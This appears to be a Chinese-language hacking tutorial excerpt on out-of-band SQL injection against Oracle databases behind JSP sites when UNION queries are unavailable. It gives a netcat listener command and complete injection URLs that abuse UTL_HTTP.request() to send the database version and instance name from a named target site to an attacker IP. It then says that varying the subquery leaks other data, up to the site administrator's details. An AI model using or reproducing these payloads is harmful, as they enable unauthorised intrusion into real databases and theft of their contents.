Oracle+JSP平台注入攻击技术-不支持union-反连

Oracle+JSP 平台注入攻击技术

Oracle 是目前最为流行的高端数据库,常用于大型企业的官方网站服务器。经过一些黑客的挖掘, Oracle+JSP 平台的漏洞不断被公布。

     1.3.1  常规注入手段

1.3.2 UTL_HTTP 反弹注射

在实施注入攻击的近程中,如果 Oracle 数据库不支持 Union 查询,还可以使用 UTL_HTTP.request() 函数,该函数可以从 Oracle 数据库服务器向外发送请求数据,通常在接收端执行“ nc -lvp  端口号”,可直接将注入反馈的信息反弹回来,并显示在 Cmdshell 。类似的函数有 UTL_MAIL.request() UTL_SMTP.request() UTL_INADDR.request() 等。

首先在本机 Cmdshell 上输入“ nc -lvp 2007

提交 URL 为“ http://www.nohacker.com/thous/view_zxxx.jsp?id=00016222' and UTL_HTTP.request('http://61.139.105.106:2007/'||(select banner from sys.v_$version where rownum=1))=1 and ''||' 1'='1 ,显示目标服务器的数据库版本为“ Oracle9i Enterprise Edition Release 9.2.0.1.0

   提交URL为“http://www.nohacker.com/thous/view_zxxx.jsp?id=00016222' and UTL_HTTP.request('http://61.139.105.106:2007/'||(select instance_name from v$instance))=1 and ''||' 1'='1,显示当前库名为“dfmc    

同理,通过改变注入语句“ UTL_HTTP.request('http://61.139.105.106:2007/'||(select instance_name from v$instance))=1 ”中“ select instance_name from v$instance ”部分,可以暴出数据库的其它内容,并最终获得网站后台管理员的相关信息。